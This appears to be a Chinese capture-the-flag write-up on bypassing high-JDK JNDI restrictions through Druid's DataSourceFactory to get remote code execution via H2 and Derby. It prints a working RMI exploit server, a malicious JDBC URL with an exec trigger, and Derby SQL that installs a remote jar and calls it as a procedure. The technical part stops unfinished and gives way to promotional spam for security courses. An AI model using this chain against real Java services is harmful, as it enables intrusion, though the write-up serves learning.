声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护
这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!
题目
信息收集
题目给了源码,使用jadx反编译查看源码,发现这个是Springboot项目,在Controller层写出来相关的代码:
这里的InitialContext构造了jndi的访问环境,url是可控的,所以这个题突破口就是jndi注入然后,题目说的Java8,刚开始还以为是jdk8想着直接用JNDI-Injection-Exploit-master直接梭哈,但是发现不对劲会直接卡主,因为高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,不会从指定的远程地址下载class类来执行,所以可以在图片中看到没有JETTYSERVER返回
不能梭哈就查看一下pom信息
这里看到使用了druid数据库连接池和derby数据库
Druid是一个数据库连接池。Druid是目前最好的数据库连接池,在功能、性能、扩展性方面,都超过其他数据库连接池,包括DBCP、C3P0、BoneCP、Proxool、JBoss DataSource。yej
Apache Derby 是一个开源的嵌入式关系型数据库,完全使用 Java 语言实现
通过题目给出的hint:“Druid 绕过高版本 JDK 打 Derby RCE, 善用搜索引擎”;我们可以发现这个是druid使用derby数据库然后实现RCE
通过提示找到了两个师傅写的已经存在的exp,接下来通过这些来构造相应的攻击链:
JNDI jdk高版本绕过—— Druid
derby数据库如何实现RCE
绕过高版本jdk
在信息收集的第一篇中,给出了绕过的exp:
try{
Registry registry = LocateRegistry.createRegistry(8883);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC\_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION\_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
"$$\n";
String JDBC\_USER = "root";
String JDBC\_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC\_URL));
ref.add(new StringRefAddr("username",JDBC\_USER));
ref.add(new StringRefAddr("password",JDBC\_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://localhost:8883/zlgExploit",referenceWrapper);
}
catch(Exception e){
e.printStackTrace();
}
它上面所用的是h2数据库,用的h2的alias来实现的Java代码执行,derby是不行的,在第二篇的derby RCE是要操作数据库,所以我们得换jdbc并且要找到一种方法在数据库连接后反序列化执行sql语句,又因为我们是靶场docker实现的,所以derby大概率不会使用网络模式而会使用内嵌模式直接连接,所以我们无需考虑数据库账号密码问题
找到jdbc
尝试在jadx中搜索对应的驱动方法名,因为pom导入的包在 org.apache.derby,中所以重点看这个路径下的字类,并且一般驱动以Driver结尾
所以driverClassName为:org.apache.derby.jdbc.EmbeddedDriver
找到连接的数据库
chatgpt问出来他的默认存在数据库应该是sample;但是我们可以在连接的时候加上’;create=true’来表示如果这个数据库不存在,则创建;
连接成功
报了个错误,是因为testWhileIdle设置的true,需要一个查询语句来查询,加了validationQuery会引发错误
又受到这篇文章的误导
设置为select 1还是引发报错,这里弄了非常久的时间一度考虑是否是数据库需要密码的情况,最后在另外一篇帖子发现应该使用SELECT 1 FROM SYSIBM.SYSDUMMY1 ;;;▄█▀█●
好,新增一行键值对:
ref.add(new StringRefAddr("validationQuery","SELECT 1 FROM SYSIBM.SYSDUMMY1"));
打derby实现RCE
根据第二篇信息收集给出的exp:
exp.java -> jar
import java.io.IOException;
public class testShell4 {
public static void exec() throws IOException {
Runtime.getRuntime().exec("cmd.exe /c calc");
}
}
sql:
## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)
## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')
## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'
## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
利用initConnectionSql执行sql
这里执行sql就很麻烦,所以结合第一篇文章找一下有没有可以利用的:
在com.alibaba.druid.pool.DruidDataSourceFactory中实现了ObjectFactory类
在其中找到了很多定义的字符串常量,里面都是可以被我们所利用的
第一段代码我们的代码相调用的对应,第二段就是将reference依次解析成响应的键值对
在里面找到到了这个initConnectionSqls,推测是连接后所执行的sql语句,注意后面带个s,那么是不是可以执行多条sql呢?接下来往下找
我们发现在这里对这个字符串进行了处理,把他按引号进行分割,在使用集合转换为list
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!